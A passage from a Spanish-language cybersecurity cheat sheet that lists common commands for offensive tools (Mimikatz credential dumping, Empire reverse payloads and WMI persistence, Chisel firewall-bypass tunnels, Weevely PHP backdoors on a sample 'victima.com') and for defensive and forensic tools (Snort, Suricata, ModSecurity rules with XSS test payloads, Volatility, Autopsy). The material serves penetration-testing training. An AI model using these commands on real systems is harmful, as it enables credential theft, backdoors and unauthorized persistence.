9. Extraer hashes de contraseñas de SAM

```
lsadump::sam
```

Obtiene hashes almacenados en el sistema.

10. Extraer credenciales del almacén de LSA

```
lsadump::lsa /patch
```

Accede a credenciales guardadas en Local Security Authority.

11. Elevar privilegios mediante tokens de sesión

```
token::elevate
```

Usa un token de sesión para obtener permisos más altos.

12. Ejecutar Mimikatz y extraer credenciales en un solo comando

```
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
```

Ejecuta comandos de Mimikatz automáticamente.

13. Guardar credenciales extraídas en un archivo

```
mimikatz.exe "sekurlsa::logonpasswords" > credenciales.txt
```

Guarda la salida en credenciales.txt para su análisis posterior.

Empire - Post-explotación y control de sistemas comprometidos

Descripción

Empire es un framework de post-explotación que **automatiza ataques, persistencia y movimiento lateral en entornos Windows, macOS y Linux**, utilizando PowerShell y Python.

Propósito en ciberseguridad

- **Controlar sistemas comprometidos mediante agentes.**
- **Ejecutar exploits y escaladas de privilegios automáticamente.**
- **Obtener credenciales mediante Mimikatz.**
- **Mantener persistencia en sistemas atacados.**

Comandos más utilizados en Empire

1. Iniciar el framework Empire

`./empire`

Abre la consola de Empire.

2. Listar los listeners activos

listeners

Muestra los listeners configurados en el sistema.

3. Ver los agentes conectados

agents

Lista todos los agentes activos en las máquinas comprometidas.

4. Interactuar con un agente activo

interact <agente>

Controla un agente específico para ejecutar comandos.

5. Crear un listener HTTP

uselistener http

Configura un listener HTTP para recibir conexiones de agentes.

6. Definir la dirección IP para el listener

set Host <IP>

Establece la IP que usará el listener.

7. Ejecutar el listener configurado

execute

Inicia el listener para recibir conexiones.

8. Generar un payload para Windows

```
usestager windows/meterpreter/reverse_http
```

Crea un payload en PowerShell para sistemas Windows.

9. Generar un payload para macOS

```
usestager osx/meterpreter/reverse_tcp
```

Crea un payload para macOS con conexión reversa.

10. Ejecutar chequeos de escalada de privilegios

```
usemodule privesc/powerup/allchecks
```

Revisa vulnerabilidades para escalar privilegios.

11. Extraer credenciales en memoria con Mimikatz

```
usemodule credentials/mimikatz/logonpasswords
```

Recupera credenciales de sesión activas.

12. Establecer persistencia con WMI

```
usemodule persistence/elevated/wmi
```

Configura persistencia en el sistema atacado.

13. Configurar fecha de expiración del payload

```
set KillDate <YYYY-MM-DD>
```

Define una fecha de expiración para el agente.

14. Restringir ejecución a ciertas horas

```
set WorkingHours <hora>
```

Configura un horario específico para que el agente esté activo.

15. Salir del framework Empir

exit

Cierra la sesión de Empire.

Chisel - Tunelización y bypass de restricciones de red

Descripción

Chisel es una herramienta utilizada para **crear túneles de red y evaluar restricciones** mediante conexiones reversas, permitiendo redirigir tráfico entre sistemas comprometidos y servidores de control.

Propósito en ciberseguridad

- Evitar restricciones de firewall y filtrar tráfico hacia sistemas remotos.
- Redirigir conexiones RDP, SSH y HTTP a través de túneles.
- Crear proxies SOCKS5 para acceso remoto.
- Mantener persistencia en redes restringidas.

Comandos más utilizados en Chisel

1. Iniciar un servidor en modo reverso en el puerto 8080

```
chisel server -p 8080 --reverse
```

Configura un servidor que acepta conexiones reversas.

2. Iniciar un servidor con autenticación en el puerto 443

```
chisel server -p 443 --auth user:password
```

Protege el servidor con credenciales.

3. Crear un túnel reverso desde el puerto 8081 al 80

```
chisel client <IP_SERVIDOR>:8080 R:8081:127.0.0.1:80
```

Redirige el tráfico del puerto 8081 al puerto 80 en la máquina de destino.

4. Redirigir tráfico del puerto 8082 al 3389 (RDP)

```
chisel client <IP_SERVIDOR>:8080 8082:127.0.0.1:3389
```

Permite el acceso remoto a Escritorio Remoto (RDP).

5. Crear un proxy SOCKS5 en el puerto 1080

chisel client <IP_SERVIDOR>:443 R:1080:socks

Configura un proxy SOCKS5 para redirigir tráfico.

6. Tunelizar tráfico HTTPS desde la máquina comprometida

chisel client <IP_SERVIDOR>:443 R:8443:127.0.0.1:443

Permite acceso HTTPS remoto a través del túnel.

7. Mantener conexiones activas con keepalive

chisel server -p 9000 --keepalive

Evita que el túnel se cierre por inactividad.

8. Ejecutar cliente en modo verbose

chisel client <IP_SERVIDOR>:9000 -v

Muestra detalles de la conexión y tráfico.

Weevely - Web Shell oculta en PHP para pen-testing

Descripción

Weevely es una herramienta utilizada para **crear y gestionar web shells en PHP**, permitiendo la ejecución de comandos en servidores web comprometidos.

Propósito en ciberseguridad

- Subir backdoors en servidores web vulnerables.
- Ejecutar comandos y explorar archivos en la máquina comprometida.
- Escalar acceso a sesiones avanzadas como Meterpreter.
- Obtener información del sistema y extraer credenciales.

Comandos más utilizados en Weevely

1. Generar un backdoor PHP con contraseña de acceso

```
weevely generate <password> backdoor.php
```

Crea una web shell PHP protegida con una contraseña.

2. Conectarse a la shell remota

```
weevely http://victima.com/backdoor.php <password>
```

Accede a la shell remota usando la contraseña establecida.

3. Obtener información del sistema de la máquina comprometida

sysinfo

Muestra datos sobre el sistema operativo y hardware.

4. Mostrar conexiones de red activas

net

Lista conexiones y servicios en ejecución.

5. Explorar archivos en la máquina objetivo

filemanager

Permite navegar, leer y modificar archivos.

6. Abrir una shell interactiva en el sistema

shell

Proporciona acceso a una terminal remota.

7. Listar métodos de acceso alternativo

backdoor

Muestra opciones para establecer persistencia.

8. Extraer hashes de contraseñas del sistema

hashdump

Obtiene credenciales almacenadas en el servidor comprometido.

9. Escalar acceso a una sesión Meterpreter

meterpreter

Convierte la sesión en una conexión Meterpreter para explotación avanzada.

Snort - Sistema de Detección y Prevención de Intrusos (IDS/IPS)

Descripción

Snort es un **Sistema de Detección de Intrusos (IDS) y Prevención de Intrusos (IPS)** de código abierto que analiza tráfico en redes y detecta ataques mediante reglas personalizadas.

Propósito en ciberseguridad

- **Monitorizar tráfico de red en tiempo real.**
- **Detectar y prevenir ataques con reglas personalizadas.**
- **Registrar eventos sospechosos para análisis forense.**
- **Filtrar y bloquear tráfico malicioso.**

Comandos más utilizados en Snort

1. Ejecutar Snort en modo sniffer

`snort -v`

Muestra paquetes capturados en la red.

`snort -vde`

Muestra los paquetes con detalles de capa de enlace y datos.

2. Ejecutar Snort en modo registro de paquetes

`snort -dev -l /var/log/snort`

Guarda los paquetes capturados en `/var/log/snort`.

3. Ejecutar Snort en modo detección de intrusos con reglas personalizadas

```
snort -c /etc/snort/snort.conf -l /var/log/snort
```

Ejecuta Snort usando la configuración definida en snort.conf.

4. Monitorear una interfaz de red específica

```
snort -i eth0 -v
```

Captura tráfico en la interfaz eth0.

5. Ejecutar Snort en modo IPS (inline)

```
snort -Q --daq afpacket -c /etc/snort/snort.conf -i eth0:eth1
```

Configura Snort en modo de prevención de intrusos (IPS).

6. Analizar un archivo de captura de red (PCAP)

```
snort -r captura.pcap
```

Examina paquetes guardados en captura.pcap.

7. Probar y verificar la configuración de Snort

snort -T -c /etc/snort/snort.conf

Valida que las reglas y configuración sean correctas.

8. Crear y cargar reglas personalizadas

```
echo 'alert tcp any any -> any 80 (msg:"Tráfico HTTP detectado";  
sid:1000001;)' >> /etc/snort/rules/local.rules
```

Agrega una regla que genera una alerta cuando detecta tráfico HTTP.

9. Visualizar estadísticas en tiempo real

snort -A console -q -c /etc/snort/snort.conf

Muestra alertas directamente en la consola.

10. Configurar Snort para registrar eventos en formato fast alert

snort -A fast -c /etc/snort/snort.conf

Guarda eventos en un formato más compacto y rápido

Suricata - Sistema de Detección y Prevención de Intrusos (IDS/IPS)

Descripción

Suricata es un **IDS/IPS y analizador de tráfico de red** avanzado, capaz de detectar ataques en tiempo real, analizar paquetes y gestionar eventos de seguridad.

Propósito en ciberseguridad

- **Detectar intrusos y ataques en la red en tiempo real.**
- **Prevenir ataques bloqueando tráfico malicioso.**
- **Analizar archivos PCAP para investigaciones forenses.**
- **Optimizar el rendimiento de análisis con multiprocесamiento.**

Comandos más utilizados en Suricata

1. Ejecutar Suricata en modo IDS en la interfaz eth0

```
suricata -c /etc/suricata/suricata.yaml -i eth0
```

Analiza tráfico en eth0 y detecta amenazas basadas en reglas.

2. Ejecutar Suricata en modo IPS

```
suricata -c /etc/suricata/suricata.yaml --af-packet
```

Activa el modo IPS para bloquear tráfico malicioso en tiempo real.

3. Capturar y analizar tráfico en tiempo real

```
suricata -i eth0 -v
```

Muestra tráfico en la red con detalles en la consola.

4. Analizar un archivo de captura de red

```
suricata -r captura.pcap -c /etc/suricata/suricata.yaml
```

Examina un archivo PCAP para detectar amenazas registradas.

5. Actualizar las reglas de detección de Suricata

```
suricata-update
```

Descarga y aplica reglas actualizadas de detección de amenazas.

6. Verificar la configuración de Suricata

```
suricata -T -c /etc/suricata/suricata.yaml
```

Prueba la configuración y reglas antes de iniciar el servicio.

7. Listar palabras clave soportadas en reglas

suricata --list-keywords

Muestra todas las opciones disponibles para crear reglas personalizadas.

8. Ejecutar Suricata en segundo plano

suricata -D -c /etc/suricata/suricata.yaml

Corre Suricata como un demonio en segundo plano.

9. Ejecutar Suricata con multiprocesamiento optimizado

suricata -c /etc/suricata/suricata.yaml --runmode autofp

Utiliza múltiples hilos para mejorar el rendimiento.

ModSecurity - Firewall de Aplicaciones Web (WAF)

Descripción

ModSecurity es un **firewall de aplicaciones web (WAF)** que protege servidores contra ataques web, filtrando tráfico y bloqueando peticiones maliciosas.

Propósito en ciberseguridad

- **Bloquear ataques web como SQL Injection y XSS.**
- **Proteger aplicaciones contra explotación de vulnerabilidades.**
- **Registrar y analizar tráfico HTTP sospechoso.**
- **Fortalecer la seguridad de servidores Apache y Nginx.**

Comandos más utilizados en ModSecurity

1. Habilitar ModSecurity en Apache

a2enmod security2

Activa el módulo ModSecurity en Apache.

2. Reiniciar Apache para aplicar cambios

systemctl restart apache2

Reinicia el servicio de Apache tras modificar configuraciones.

3. Activar ModSecurity en el archivo de configuración

SecRuleEngine On

Habilita la inspección de tráfico en ModSecurity.

4. Cargar reglas base de ModSecurity

Include /usr/share/modsecurity-crs/modsecurity.conf

Carga las reglas de protección predeterminadas del Core Rule Set (CRS).

5. Incluir configuraciones personalizadas

Include /etc/modsecurity/*.conf

Permite agregar reglas específicas creadas por el usuario.

6. Bloquear consultas SQL en peticiones HTTP

SecRule ARGS "select" "deny,status:403"

Rechaza peticiones que contengan la palabra clave select, usada en SQL Injection.

7. Ver registros de ModSecurity en tiempo real

tail -f /var/log/apache2/modsec_audit.log

Muestra eventos detectados por ModSecurity.

8. Revisar registros detallados de errores

```
cat /var/log/apache2/modsec_debug.log
```

Muestra información detallada de las reglas aplicadas.

9. Simular un ataque para probar ModSecurity

```
curl -A "Nikto" http://localhost
```

Envía una solicitud con el User-Agent de Nikto para probar la detección de ataques.

10. Probar detección de XSS

```
curl -X POST -d "<script>alert(1)</script>" http://localhost
```

Simula un intento de Cross-Site Scripting (XSS).

Autopsy - Herramienta forense digital de código abierto

Descripción

Autopsy es un software de **análisis forense digital**, utilizado para examinar discos, recuperar archivos eliminados y extraer información de dispositivos de almacenamiento.

Propósito en ciberseguridad

- **Recuperar archivos eliminados de discos y particiones.**
- **Analizar historiales web, correos electrónicos y registros del sistema.**
- **Examinar dispositivos de almacenamiento en investigaciones forenses.**
- **Generar reportes detallados de análisis forense.**

Comandos más utilizados en Autopsy

1. Iniciar la interfaz gráfica de Autopsy

autopsy

Abre la interfaz gráfica de Autopsy en el navegador.

2. Iniciar Autopsy sin la pantalla de inicio

```
autopsy --nosplash
```

Evita mostrar la pantalla de presentación al iniciar.

3. Crear un nuevo caso

En la interfaz, seleccionar "**Create New Case**" y configurar el directorio del caso.

4. Abrir un caso existente

Seleccionar "**Open Existing Case**" y elegir el directorio con el caso forense.

5. Agregar una imagen de disco para análisis

En la interfaz, seleccionar "**Add Data Source**" y cargar una imagen forense (.E01, .raw, .dd, etc.).

6. Examinar archivos eliminados en un disco

En la pestaña "**Deleted Files**", revisar archivos recuperados del sistema de archivos.

7. Analizar el historial web de un dispositivo

Seleccionar "**Web History**" para extraer el historial de navegación de navegadores detectados.

8. Recuperación de correos electrónicos

En "**Email Messages**", extraer correos electrónicos almacenados en archivos PST o MBOX.

9. Generar reportes de análisis forense

Seleccionar "**Generate Report**", elegir el formato (HTML, PDF, CSV) y exportar la información.

10. Exportar archivos recuperados

Seleccionar un archivo recuperado y hacer clic en "**Export File**" para guardarlo en el sistema.

Volatility - Análisis forense de memoria RAM

Descripción

Volatility es una herramienta de **análisis forense de memoria RAM**, utilizada para examinar procesos, conexiones de red, credenciales y detectar actividad maliciosa en imágenes de memoria.

Propósito en ciberseguridad

- **Extraer procesos activos en una imagen de memoria.**
- **Recuperar credenciales, comandos ejecutados y conexiones de red.**
- **Detectar malware en memoria volátil.**
- **Recuperar archivos eliminados en el sistema.**

Comandos más utilizados en Volatility

1. Identificar el perfil del sistema de la imagen de memoria

```
volatility -f memoria.dmp imageinfo
```

Detecta información del sistema operativo de la imagen.

2. Escanear estructuras del Kernel Debug Block

```
volatility -f memoria.dmp kdbgscan
```

Ayuda a identificar versiones del kernel en Windows.

3. Listar todos los procesos en ejecución

```
volatility -f memoria.dmp pslist
```

Muestra los procesos activos al momento de la captura.

4. Mostrar la jerarquía de procesos

```
volatility -f memoria.dmp pstree
```

Presenta los procesos en formato de árbol para entender su relación.

5. Mostrar conexiones de red activas

```
volatility -f memoria.dmp netscan
```

Lista conexiones TCP y UDP de la imagen de memoria.

6. Extraer hashes de contraseñas

```
volatility -f memoria.dmp hashdump
```

Obtiene los hashes de contraseñas almacenadas en el sistema.

7. Intentar extraer credenciales de la memoria con Mimikatz

```
volatility -f memoria.dmp mimikatz
```

Usa técnicas de Mimikatz para extraer credenciales en texto claro.

8. Mostrar el historial de comandos ejecutados

```
volatility -f memoria.dmp consoles
```

Extrae los comandos utilizados en la línea de comandos.

9. Extraer archivos desde la memoria

```
volatility -f memoria.dmp dumpfiles -D output/
```

Guarda archivos recuperados de la imagen en la carpeta output/.

10. Buscar archivos abiertos en la memoria

```
volatility -f memoria.dmp filescan
```

Escanea la memoria en busca de archivos abiertos en el momento de la captura.

11. Detectar código malicioso en memoria

```
volatility -f memoria.dmp malfind
```

Identifica secciones inyectadas en procesos en ejecución.

12. Listar las claves del Registro de Windows

```
volatility -f memoria.dmp hivelist
```

Muestra ubicaciones de registros del sistema.

13. Extraer datos de actividad del usuario en el sistema

volatility -f memoria.dmp shellbags

Recupera información de archivos abiertos recientemente.

Binwalk - Análisis forense de archivos binarios y firmware

Descripción

Binwalk es una herramienta utilizada para **analizar y extraer datos ocultos de archivos binarios, imágenes de firmware y otros formatos**, permitiendo la identificación de estructuras embebidas.

Propósito en ciberseguridad

- **Detectar y extraer archivos ocultos dentro de binarios.**
- **Analizar imágenes de firmware en busca de vulnerabilidades.**
- **Identificar datos comprimidos o cifrados.**
- **Examinar entropía y estructuras de archivos sospechosos.**

Comandos más utilizados en Binwalk

1. Escanear un archivo en busca de firmas y datos embebidos

binwalk archivo.img

Muestra estructuras y posibles datos ocultos dentro de archivo.img.

2. Extraer automáticamente los datos embebidos

binwalk -e archivo.img

Extrae automáticamente los archivos detectados dentro del binario.

3. Identificar archivos ejecutables dentro de una imagen

binwalk -E archivo.img

Localiza ejecutables dentro de archivo.img.

4. Extraer y analizar datos embebidos recursivamente

binwalk -Me archivo.img

Extrae todos los archivos embebidos y analiza estructuras internas.

5. Mostrar el análisis hexadecimal del archivo

`binwalk -H archivo.img`

Visualiza los datos en formato hexadecimal.

6. Medir la entropía para detectar cifrado o compresión

`binwalk -E archivo.img`

Determina si el archivo está cifrado o comprimido basándose en la entropía.

7. Extraer solo imágenes PNG de un archivo

`binwalk -D 'png image:png' archivo.img`

Filtrá y extrae solo archivos PNG desde la imagen analizada.

8. Extraer todos los archivos detectados

`binwalk --dd='.*' archivo.img`

Recupera todos los archivos embebidos sin importar su tipo.

ExifTool - Extracción y modificación de metadatos en archivos

Descripción

ExifTool es una herramienta utilizada para **extraer, modificar y eliminar metadatos en archivos de imagen, vídeo, documentos y más.**

Propósito en ciberseguridad

- **Analizar metadatos ocultos en archivos para investigaciones forenses.**
- **Eliminar información sensible de imágenes y documentos.**
- **Modificar metadatos en archivos multimedia.**
- **Extraer información GPS de imágenes y videos.**

Comandos más utilizados en ExifTool

1. Mostrar todos los metadatos de un archivo

exiftool archivo.jpg

Extrae y muestra toda la metadata de archivo.jpg.

2. Obtener solo la marca y modelo de la cámara

```
exiftool -Make -Model archivo.jpg
```

Extrae información específica de la cámara que tomó la imagen.

3. Modificar el campo "Artist" en un archivo

```
exiftool -Artist="Nombre" archivo.jpg
```

Modifica la información de autor en la metadata de la imagen.

4. Eliminar todos los metadatos de un archivo

```
exiftool -All= archivo.jpg
```

Borra completamente los metadatos de una imagen para anonimización.

5. Extraer metadatos de todas las imágenes JPG en una carpeta

```
exiftool -r -ext jpg /carpeta/
```

Procesa recursivamente todos los archivos .jpg dentro de /carpeta/.

6. Modificar coordenadas GPS de una imagen

```
exiftool -overwrite_original -GPSLatitude=45.0 -GPSLongitude=-93.0  
archivo.jpg
```

Establece coordenadas GPS específicas en archivo.jpg.

7. Exportar metadatos en formato JSON

```
exiftool -json archivo.jpg
```

Convierte la metadata del archivo en un formato JSON estructurado.

8. Extraer la miniatura de una imagen

```
exiftool -b -ThumbnailImage archivo.jpg > thumbnail.jpg
```

Guarda la miniatura embebida dentro de una imagen.

“En un mundo cada vez más conectado, la verdadera libertad digital nace del conocimiento. No se trata solo de aprender herramientas, sino de entender cómo funciona el sistema... para protegerlo o desafiarlo. Cada comando que dominas, cada análisis que ejecutas, es un paso más en tu evolución como hacker ético.

Nunca dejes de aprender, nunca dejes de cuestionar y, sobre todo... nunca dejes de romper cosas para entender cómo funcionan.”

4Mart1

Sígueme y conéctate

GitHub: <https://github.com/4martinez>

LinkedIn: <https://www.linkedin.com/in/4martinez>

© 2025 4Mart1. Todos los derechos reservados.

Este documento no puede ser reproducido, distribuido ni transmitido de ninguna forma, ya sea electrónica o mecánica, sin el permiso previo por escrito del autor.